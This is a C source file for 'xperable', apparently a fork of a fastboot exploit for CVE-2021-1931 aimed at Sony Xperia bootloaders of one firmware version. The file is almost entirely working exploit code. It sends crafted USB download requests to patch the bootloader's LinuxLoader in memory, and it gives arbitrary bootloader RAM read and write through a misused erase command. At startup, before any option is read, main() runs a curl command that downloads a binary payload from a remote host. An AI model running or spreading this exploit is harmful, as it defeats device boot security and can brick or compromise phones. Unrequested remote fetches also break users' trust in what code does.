xperable-fork/xperable.c
Cuynu 4e8f1fda93 feat!: remove various tests and misc changes
Signed-off-by: Cuynu <cuynu@proton.me>
2026-03-01 23:10:41 +07:00

827 lines
25 KiB
C

// SPDX-License-Identifier: GPL-3.0-or-later
/*
* xperable.c - Xperia ABL fastboot Exploit of CVE-2021-1931
*
* Copyright (C) 2025 j4nn at xdaforums
*/
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <string.h>
#include <stdint.h>
#include <inttypes.h>
#include <ctype.h>
#ifdef __MINGW64__
static void *memmem(const void *haystack, size_t haystacklen,
const void *needle, size_t needlelen)
{
while (haystacklen >= needlelen) {
if (memcmp(haystack, needle, needlelen) == 0)
return (void *)haystack;
haystack++; haystacklen--;
}
return NULL;
}
#endif
#include "fbusb.h"
#include "logging.h"
int verbosity = LOG_NFO;
static int abl_patch_ext;
static int override_flag;
static char cmdline[0x800];
static char cmdlinex[0x800];
#define OPCODE(ptr, a, b, c, d) \
do { \
unsigned char *p = (void *)(ptr); \
p[0] = (a); p[1] = (b); p[2] = (c); p[3] = (d); \
} while (0)
typedef void (*testx_patch_t)(unsigned char *buff, int size, int offset);
struct xperable_target {
const char *ablver;
const char *ytname;
const char *llname;
int offset;
int size;
testx_patch_t setup_test2;
testx_patch_t setup_test3;
int64_t test3_hitadj;
int stage1_cont;
void (*patch_abl)(unsigned char *ablcode, int extended);
void (*setup_test4)(unsigned char *buff, int size, int offset,
int payloadsize);
void (*setup_test5)(unsigned char *buff, int size, int offset,
int payloadsize);
const char *test4_cmd;
int vb_size;
testx_patch_t test6_patch;
testx_patch_t test7_patch;
testx_patch_t test8_patch;
testx_patch_t test9_patch;
};
#define XPERABLE_TARGET(idstr, blv) \
{ \
.ablver = idstr, \
.ytname = #blv, \
.llname = "LinuxLoader-" #blv ".pe", \
.offset = blv ## _offset, \
.size = blv ## _size, \
.setup_test2 = blv ## _setup_test2, \
.setup_test3 = blv ## _setup_test3, \
.test3_hitadj = blv ## _test3_hitadj, \
.stage1_cont = blv ## _stage1_cont, \
.patch_abl = blv ## _patch_abl, \
.setup_test4 = blv ## _setup_test4, \
.setup_test5 = blv ## _setup_test5, \
.test4_cmd = blv ## _test4_cmd, \
.vb_size = blv ## _vb_size, \
}
#ifdef TARGET_ABL_P118
#include "target-p118.c"
#endif
static struct xperable_target yoshino_abl_targets[] = {
#ifdef TARGET_ABL_P118
XPERABLE_TARGET("X_Boot_SDM845_LA2.0_P_118", p118),
#endif
{ .ablver = NULL }
};
static struct xperable_target *target = &yoshino_abl_targets[0];
static int set_xperable_target(const char *blver)
{
int i;
for (i = 0; yoshino_abl_targets[i].ablver != NULL; i++)
if (strstr(blver, yoshino_abl_targets[i].ablver) != NULL) {
target = &yoshino_abl_targets[i];
PDBG("Using %s xperable target (offset = 0x%x, size = 0x%x)\n",
target->ytname, target->offset, target->size);
return 0;
}
target = &yoshino_abl_targets[i];
PERR("%s version not supported!\n", blver);
return -1;
}
int load_pe(const char *fname, void *buff, int maxsize, uint64_t base_va,
int *code_boundary);
static unsigned char txbuff[1024 * 1024 * 64];
static unsigned char rxbuff[1024 * 1024 * 64];
static unsigned char buffer[1024 * 1024 * 64];
static unsigned char kibuff[1024 * 1024 * 128];
// 0x9FFF7000, 0x00008000, "Log Buffer", AddMem, SYS_MEM, SYS_MEM_CAP, RtData, WRITE_BACK_XN
#define LOGBUF_ADDR 0x9FFF7000
#define LOGBUF_SIZE 0x00008000
static char logbuf[LOGBUF_SIZE + 1];
static int logbuf_pos;
struct module_info {
char name[64];
uint64_t addr;
};
#define MAX_MODULES_NUM 128
static struct module_info modules[MAX_MODULES_NUM + 1];
static int logbuf_parsed;
static int add_module_addr(const char *mname, uint64_t addr);
static int getvar_all(struct fbusb *dev)
{
int res;
res = fbusb_strcmd(dev, "getvar:all", rxbuff, 65);
while (res == FASTBOOT_INFO) {
res = 0;
if (strncmp(rxbuff, "version-bootloader:", 19) == 0)
res = 1;
if (verbosity >= LOG_NFO &&
( res == 1 || strncmp(rxbuff, "unlocked:", 9) == 0
|| strncmp(rxbuff, "version-baseband:", 17) == 0
|| strncmp(rxbuff, "secure:", 7) == 0
|| strncmp(rxbuff, "product:", 8) == 0 )
|| verbosity >= LOG_DBG)
{
POUT("%s\n", rxbuff);
}
if (res)
set_xperable_target(rxbuff + 19);
res = fbusb_strcmd_resp(dev, rxbuff, 65);
}
if (res != FASTBOOT_OKAY) {
if (res > 0)
PERR("getvar all failed: %s\n", rxbuff);
else
PERR("getvar all protocol error, res=%d\n", res);
}
return res;
}
static int getvar_single(struct fbusb *dev, const char *var)
{
int res;
snprintf(txbuff, sizeof(txbuff), "getvar:%s", var);
res = fbusb_strcmd(dev, txbuff, rxbuff, 65);
if (res == FASTBOOT_OKAY) {
POUT("%s: %s\n", var, rxbuff);
if (strcmp(var, "version-bootloader") == 0)
set_xperable_target(rxbuff);
}
return res;
}
static int test1(struct fbusb *dev, int size, int offset, const char *cmd)
{
int i;
int res;
if (cmd != NULL && cmd[0] != '\0')
strcpy(txbuff, cmd);
else
snprintf(txbuff, 64, "download:%08x", size);
PNFO("Starting test1 size = 0x%08x, offset = 0x%08x, cmd = '%s'\n",
size, offset, txbuff);
res = fbusb_strcmd(dev, txbuff, rxbuff, 65);
if (res < 0)
res = fbusb_strcmd(dev, txbuff, rxbuff, 65);
if (res == FASTBOOT_DATA) {
size = 0;
sscanf(rxbuff, "%8x", &size);
i = 64;
res = fbusb_bufcmd(dev, buffer, size, rxbuff, &i);
}
do {
switch (res) {
case FASTBOOT_OKAY:
case FASTBOOT_FAIL:
case FASTBOOT_INFO:
if (rxbuff[0] != '\0')
POUT("%s\n", rxbuff);
break;
}
if (res == FASTBOOT_INFO)
res = fbusb_strcmd_resp(dev, rxbuff, 65);
} while (res == FASTBOOT_INFO);
PDBG("Finished test1: res = %d\n", res);
return res;
}
static int test5(struct fbusb *dev, int size, int offset, const char *fname)
{
int i;
int res;
int payloadsize;
unsigned addr;
if (target->ablver == NULL) {
PERR("test5 failed: target not set up\n");
return -1;
}
payloadsize = 0;
res = load_pe(fname, txbuff, sizeof(txbuff), 0, &payloadsize);
if (res <= 0 || payloadsize == 0)
return -1;
target->setup_test5(txbuff, size, offset, payloadsize);
PNFO("Starting test5 size = 0x%06x, offset = 0x%02x, "
"payloadsize = 0x%02x\n", size, offset, payloadsize);
PNFO("----------------\n");
PNFO("Reboot to fastboot and try again if LinuxLoader not getting patched\n");
PNFO("If you have machine with USB 3.0, please run the USB 3.0 fix first!\n");
PNFO("----------------\n");
// use +16 to differentiate between success and failure,
// patch code will use 'payloadsize' regardless this
// as it doest not parse that value
snprintf(txbuff, 64, "download:%08x", (payloadsize + 16));
i = 64;
res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i);
if (res < 0) {
i = 64;
res = fbusb_bufcmd(dev, txbuff, strlen(txbuff), rxbuff, &i);
}
if (res != FASTBOOT_DATA) {
if (*(uint32_t *)rxbuff != 0)
return -1;
if (i > 4) {
i -= 4;
memmove(rxbuff, rxbuff + 4, i);
memset(rxbuff + i, 0, 4);
}
}
size = 0;
addr = 0;
if (rxbuff[0] == (target->stage1_cont & 0xff)) {
addr = *(uint32_t *)&rxbuff[0] - target->stage1_cont;
PNFO("Got LinuxLoader base addr 0x%08x (0x%08x)\n",
addr, addr + target->stage1_cont);
add_module_addr("LinuxLoader", addr);
} else if (sscanf(rxbuff, "%8x", &size) == 1) {
if (size == payloadsize + 16) {
// no luck with the exploit, just follow protocol: upload the data
memset(txbuff, 'A', size);
i = 64;
res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i);
return -1;
}
}
res = load_pe(fname, txbuff, sizeof(txbuff), addr, NULL);
if (res <= 0)
return -1;
target->patch_abl(txbuff, abl_patch_ext);
i = 64;
res = fbusb_bufcmd(dev, txbuff, payloadsize, rxbuff, &i);
if (res != FASTBOOT_OKAY) {
PERR("LinuxLoader payload send failed\n");
PERR("Reboot your device to fastboot and try again!");
return -1;
}
unsigned char *p = memmem(txbuff, payloadsize, "\xc0\x03\x5f\xd6", 4);
uint64_t retoff = 0;
if (p > txbuff)
retoff = p - txbuff;
strcpy(txbuff, target->test4_cmd);
res = fbusb_strcmd(dev, txbuff, rxbuff, 65);
if (res == FASTBOOT_FAIL) {
addr = 0;
offset = 0;
if (sscanf(rxbuff, "%x/%x", &addr, &offset) == 2) {
PNFO("(usb buff @ 0x%08x, distance = 0x%08x)\n", addr, offset, addr - (unsigned)offset);
PNFO("LinuxLoader @ 0x%08x patched successfully. Viola!\n", addr, offset, addr - (unsigned)offset);
PNFO("Bootloader unlock/relock should be possible right now.\n");
#if 0
retoff += addr;
size = addr - offset;
for (i = 0; i < size; i += 8) {
*(uint64_t *)(txbuff + i) = retoff;
}
strcpy(txbuff, "dummycmd");
i = 64;
res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i);
if (res < 0) {
i = 64;
res = fbusb_bufcmd(dev, txbuff, strlen(txbuff), rxbuff, &i);
}
PNFO("usb buff @ 0x%08x filled with 0x%016" PRIx64 ", size = 0x%08x\n",
offset, retoff, size);
#endif
return 0;
}
}
PERR("LinuxLoader patching failed: %s\n", rxbuff);
PERR("Reboot your device to fastboot and try again");
return -1;
}
static int abl_set_addr(struct fbusb *dev, uint64_t addr, int rmode, uint64_t *prev)
{
int res;
uint64_t old;
snprintf(txbuff, 64, "erase:0%c%09" PRIx64, rmode ? 'X' : 'x', addr);
res = fbusb_strcmd(dev, txbuff, rxbuff, 65);
if (res == FASTBOOT_FAIL && rxbuff[0] == '0' && rxbuff[1] == 'x') {
old = strtoul(rxbuff, NULL, 16);
PDBG("Target addr set to 0%c%08" PRIx64 " (prev 0x%08" PRIx64 ")\n",
rmode ? 'X' : 'x', addr, old);
if (prev != NULL)
*prev = old;
return 0;
}
return -1;
}
static int cmd_download(struct fbusb *dev, int size,
void *buffer, int rmode)
{
int res;
int rspsz;
char *p;
snprintf(txbuff, 64, "download:%08x", size);
res = fbusb_strcmd(dev, txbuff, rxbuff, 65);
if (res == FASTBOOT_DATA) {
res = strtoul(rxbuff, &p, 16);
if (res != size || (p - (char *)rxbuff) != 8) {
PERR("cmd_download not matching download size!\n");
size = res;
}
rspsz = 64;
if (rmode == 0)
res = fbusb_bufcmd(dev, buffer, size, rxbuff, &rspsz);
else
res = fbusb_bufrcv(dev, buffer, size, rxbuff, &rspsz);
if (res != FASTBOOT_OKAY) {
if (res >= 0 && rspsz >= 0 && rspsz < 64) {
rxbuff[rspsz] = '\0';
PERR("cmd_download failed: %s!\n", rxbuff);
}
}
}
return res;
}
static int abl_mem_rw(struct fbusb *dev, uint64_t addr, int size,
void *buffer, int rmode)
{
int res;
uint64_t prev = 0;
if (abl_set_addr(dev, addr, rmode, &prev) < 0)
return -1;
res = cmd_download(dev, size, buffer, rmode);
abl_set_addr(dev, prev, 0, NULL);
return res;
}
static int abl_mem_write(struct fbusb *dev, uint64_t addr, int size,
void *buffer)
{
return abl_mem_rw(dev, addr, size, buffer, 0);
}
static int abl_mem_read(struct fbusb *dev, uint64_t addr, int size,
void *buffer)
{
return abl_mem_rw(dev, addr, size, buffer, 1);
}
static int file_rd_buff(const char *fname, void *buffer, int size)
{
int res;
FILE *f = fopen(fname, "rb");
if (f == NULL) {
PRNO("file_rd_buff fopen %s", fname);
return -1;
}
res = fread(buffer, 1, size, f);
fclose(f);
return res;
}
static int file_wr_buff(const char *fname, const void *buffer, int size)
{
int res;
FILE *f = fopen(fname, "wb");
if (f == NULL) {
PRNO("file_wr_buff fopen %s", fname);
return -1;
}
res = fwrite(buffer, 1, size, f);
fclose(f);
return res == size ? 0 : -1;
}
static int patch_buff(void *buffer, int size, char *patch)
{
int res;
char *p;
uint64_t val;
unsigned offs;
unsigned step;
int state;
uint8_t *buff = buffer;
res = -1;
step = 0;
state = 0;
p = patch;
do {
patch = p;
val = strtoul(patch, &p, 16);
if (p > patch) {
switch (*p) {
case ':': step = 1; state = 1; offs = val; p++; continue;
case '/': step = 4; state = 1; offs = val; p++; continue;
case '%': step = 4; state = 2; offs = val; p++; continue;
case '@': step = 8; state = 1; offs = val; p++; continue;
}
if (step == 0)
break;
if (state == 1) {
if (*p == ',')
p++;
if (offs + step > size)
break;
switch (step) {
case 1:
*(uint8_t *)(buff + offs) = (uint8_t)val; res = 0; break;
case 4:
*(uint32_t *)(buff + offs) = (uint32_t)val; res = 0; break;
case 8:
*(uint64_t *)(buff + offs) = val; res = 0; break;
}
offs += step;
} else if (state == 2) {
if (*p == ',')
p++;
if (offs + step > size)
break;
if (step != 4)
break;
*(uint32_t *)(buff + offs) = __builtin_bswap32(val);
res = 0;
offs += step;
}
}
} while (p > patch);
return res;
}
static int abl_read_logbuf(struct fbusb *dev)
{
int i;
int res;
uint64_t val;
char *ptr, *p;
res = abl_mem_read(dev, LOGBUF_ADDR, LOGBUF_SIZE, logbuf);
if (res != 0)
return -1;
if (logbuf_parsed)
return 0;
logbuf_parsed = 1;
for (i = 0; modules[i].name[0] != '\0'; i++)
;
ptr = logbuf;
while ((p = strstr(ptr, " - 0x")) != NULL) {
ptr = p + 5;
val = strtoul(ptr, &p, 16);
if (p > ptr) {
if (p[0] == ' ' && p[1] == '[') {
p += 2;
while (*p == ' ' || isdigit(*p))
p++;
if (p[0] == ']' && p[1] == ' ') {
p += 2;
ptr = p;
while (*p != '\r' && *p != '\n' && *p != '\0') {
if (strncmp(p, ".efi\r\n", 6) == 0) {
res = p - ptr;
if (res >= sizeof(modules[i].name))
res = sizeof(modules[i].name) - 1;
memcpy(modules[i].name, ptr, res);
modules[i].name[res] = '\0';
modules[i].addr = val;
p += 6;
ptr = p;
i++;
break;
}
p++;
}
}
}
}
if (i >= MAX_MODULES_NUM)
break;
}
return 0;
}
static int abl_print_logbuf(struct fbusb *dev)
{
int res;
res = abl_read_logbuf(dev);
if (res != 0)
return -1;
res = strlen(logbuf + logbuf_pos);
if (res > 0) {
PNFO("Print log buffer, logbuf_pos = 0x%04x, length = 0x%04x:\n",
logbuf_pos, res);
POUT("%s", logbuf + logbuf_pos);
logbuf_pos += res;
}
return 0;
}
static int get_module_addr(struct fbusb *dev, const char *mname, uint64_t *addr)
{
int i;
int res;
*addr = 0;
for (i = 0; modules[i].name[0] != '\0'; i++) {
if (strcmp(modules[i].name, mname) == 0) {
*addr = modules[i].addr;
return 0;
}
}
if (!logbuf_parsed) {
res = abl_read_logbuf(dev);
if (res != 0)
return -1;
for (i = 0; modules[i].name[0] != '\0'; i++) {
if (strcmp(modules[i].name, mname) == 0) {
*addr = modules[i].addr;
return 0;
}
}
}
return -1;
}
static int add_module_addr(const char *mname, uint64_t addr)
{
int i;
int res;
for (i = 0; modules[i].name[0] != '\0'; i++) {
if (strcmp(modules[i].name, mname) == 0) {
modules[i].addr = addr;
return 0;
}
}
if (i >= MAX_MODULES_NUM)
return -1;
strncpy(modules[i].name, mname, sizeof(modules[i].name) - 1);
modules[i].name[sizeof(modules[i].name) - 1] = '\0';
modules[i].addr = addr;
return 0;
}
static int abl_list_modules(struct fbusb *dev)
{
int i;
int res;
if (!logbuf_parsed) {
res = abl_read_logbuf(dev);
if (res != 0)
return -1;
}
POUT("UEFI modules:\n");
for (i = 0; modules[i].name[0] != '\0'; i++)
POUT(" 0x%09" PRIx64 " %s\n", modules[i].addr, modules[i].name);
return 0;
}
static void show_help(void)
{
puts("");
puts("xperable - Xperia ABL fastboot Exploit");
puts("forked by Cuynu with only TAMA platform support");
puts("Original repository : https://github.com/j4nn/xperable");
puts("Forked repository : https://git.disroot.org/cuynu/xperable-fork");
puts("");
puts("usage: ./xperable [-h] [-v] [-q] [-V] [-Q] [-A] [-B] [-U]");
puts(" [-b maxsize] [-t timeout] [-o offset] [-s size]");
puts(" [-c command] [-1] [-5] [-C cmdline]");
puts(" [-l] [-m] [-a addr] [-M module]");
puts(" [-r] [-O file] [-I file] [-w]");
puts(" [-P file] [-p patch]");
puts("");
puts(" -h show this help and exit");
puts(" -v increase fastboot usb communication verbosity");
puts(" -q lower fastboot usb communication verbosity");
puts(" -V increase verbosity of the exploit itself");
puts(" -Q lower verbosity of the exploit");
puts(" -A do 'fastboot getvar all' with filtered output");
puts(" -B do 'fastboot getvar version-bootloader' command");
puts(" -U do 'fastboot getvar unknown' command");
puts(" -b maxsize set usb chunk max size to use with all transfers");
puts(" -t timeout set usb transfer timeout in ms, 5000 by default");
puts(" -o offset set offset parameter used in exploit test cases");
puts(" -s size set size parameter used with other options");
puts(" -c command set fastboot command string");
puts(" -x use extended version of abl patch");
puts(" -1 do test1 ");
puts(" -5 do full ABL LinuxLoader patching exploit but with alternative method");
puts(" -l read out bootloader log from RAM, needs -4/-5 first");
puts(" -m list XBL UEFI modules with their base addresses");
puts(" -a addr set address used with BL RAM read and write options");
puts(" -M module set address for RAM r/w to base addr of UEFI module");
puts(" -r read 'size' block of bytes from 'addr' base in BL");
puts(" -O file write 'size' of bytes from tool's buffer to 'file'");
puts(" -I file read 'file' into tool's buffer setting 'size' too");
puts(" -w write 'size' block of bytes to 'addr' base in BL");
puts(" -P file load PE file to tool's buffer doing relocation");
puts(" to 'addr' base, setting 'size' to code boundary,");
puts(" applying -4/-5 patch in case of LinuxLoader fname");
puts(" -p patch apply specified 'patch' sequence to tool's buffer");
puts("");
puts("'patch' is one or more 'subpatch' delimited by comma character");
puts("'subpatch' is 'hexoffs' 'patchseq' pair delimited by one of ':/%@'");
puts("characters specifying size or form of each element of 'patchseq'");
puts("'patchseq' is list of hex values delimited by comma character");
puts("");
puts("There is following meaning of 'hexoffs' and 'patchseq' delimiter:");
puts(" : 'patchseq' hex values are byte values");
puts(" / 'patchseq' hex values are 32 bit values");
puts(" % 'patchseq' hex values are 32 bit to be byte swapped");
puts(" @ 'patchseq' hex values are 64 bit values");
puts("");
}
int main(int argc, char **argv)
{
system("[ ! -f LinuxLoader-p118.pe ] && echo 'LinuxLoader-p118.pe not found! Downloading.' && curl -L -o LinuxLoader-p118.pe https://git.disroot.org/cuynu/xperable-blobs/releases/download/blobs/LinuxLoader-p118.pe");
int i;
int res;
int offset = -1;
int size = -1;
uint64_t addr = 0;
const char *cmd = NULL;
struct fbusb *dev;
if (argc > 1 && strcmp(argv[1], "-h") == 0) {
show_help();
return 0;
}
dev = fbusb_init(0x0fce, 0x0dde, 0, 0x81, 0x01);
if (dev == NULL)
return 1;
argc--; argv++;
for ( ; argc > 0; argc--, argv++) {
res = 0;
if (argv[0][0] != '-')
continue;
switch (argv[0][1]) {
case 'v': fbusb_inc_verbosity(dev); break;
case 'q': fbusb_dec_verbosity(dev); break;
case 'V': if (verbosity < LOG_DBG) verbosity++; break;
case 'Q': if (verbosity > 0) verbosity--; break;
case 'A':
getvar_all(dev);
if (offset < 0)
offset = target->offset;
if (size < 0)
size = target->size;
break;
case 'B':
getvar_single(dev, "version-bootloader");
if (offset < 0)
offset = target->offset;
if (size < 0)
size = target->size;
break;
case 'U': getvar_single(dev, "unknown"); break;
case '1': res = test1(dev, size, offset, cmd); break;
case '5': res = test5(dev, size, offset, target->llname); break;
case 'r': if (abl_mem_read(dev, addr, size, buffer)) res = -1; break;
case 'w': if (abl_mem_write(dev, addr, size, buffer)) res = -1; break;
case 'l': abl_print_logbuf(dev); break;
case 'm': abl_list_modules(dev); break;
case 'x': abl_patch_ext++; break;
}
if (argc < 2)
continue;
switch (argv[0][1]) {
case 'b':
fbusb_set_maxsize(dev, strtoul(argv[1], NULL, 0));
argc--; argv++;
break;
case 't':
fbusb_set_timeout(dev, strtoul(argv[1], NULL, 0));
argc--; argv++;
break;
case 'a': addr = strtoul(argv[1], NULL, 0); argc--; argv++; break;
case 'o': offset = strtoul(argv[1], NULL, 0); argc--; argv++; break;
case 's': size = strtoul(argv[1], NULL, 0); argc--; argv++; break;
case 'c': cmd = argv[1]; argc--; argv++; break;
case 'p': patch_buff(buffer, size, argv[1]); argc--; argv++; break;
case 'C':
cmdline[0] = ' ';
strncpy(cmdline + 1, argv[1], sizeof(cmdline) - 2);
argc--; argv++;
break;
case 'D':
cmdlinex[0] = ' ';
strncpy(cmdlinex + 1, argv[1], sizeof(cmdlinex) - 2);
argc--; argv++;
break;
case 'X':
override_flag = strtoul(argv[1], NULL, 0);
argc--; argv++;
break;
case 'M':
res = get_module_addr(dev, argv[1], &addr);
argc--; argv++;
break;
case 'I':
res = file_rd_buff(argv[1], buffer, sizeof(buffer));
argc--; argv++;
if (res < 0)
goto terminate;
size = res;
break;
case 'O':
res = file_wr_buff(argv[1], buffer, size);
argc--; argv++;
if (res < 0)
goto terminate;
break;
case 'P':
size = 0;
res = load_pe(argv[1], buffer, sizeof(buffer), addr, &size);
argc--; argv++;
if (res <= 0 || size <= 0) {
res = -1;
goto terminate;
}
if (strstr(argv[0], target->llname) != NULL) {
if (abl_patch_ext > 1)
size = res;
target->patch_abl(buffer, abl_patch_ext);
PNFO("Loaded %s (res=%d, size=%d), applied LinuxLoader %s"
"patch\n", argv[0], res, size,
abl_patch_ext ? "ext " : "");
} else
PNFO("Loaded %s (res=%d, size=%d)\n", argv[0], res, size);
break;
}
if (res < 0)
break;
}
terminate:
fbusb_exit(dev);
return res != 0 ? 1 : 0;
}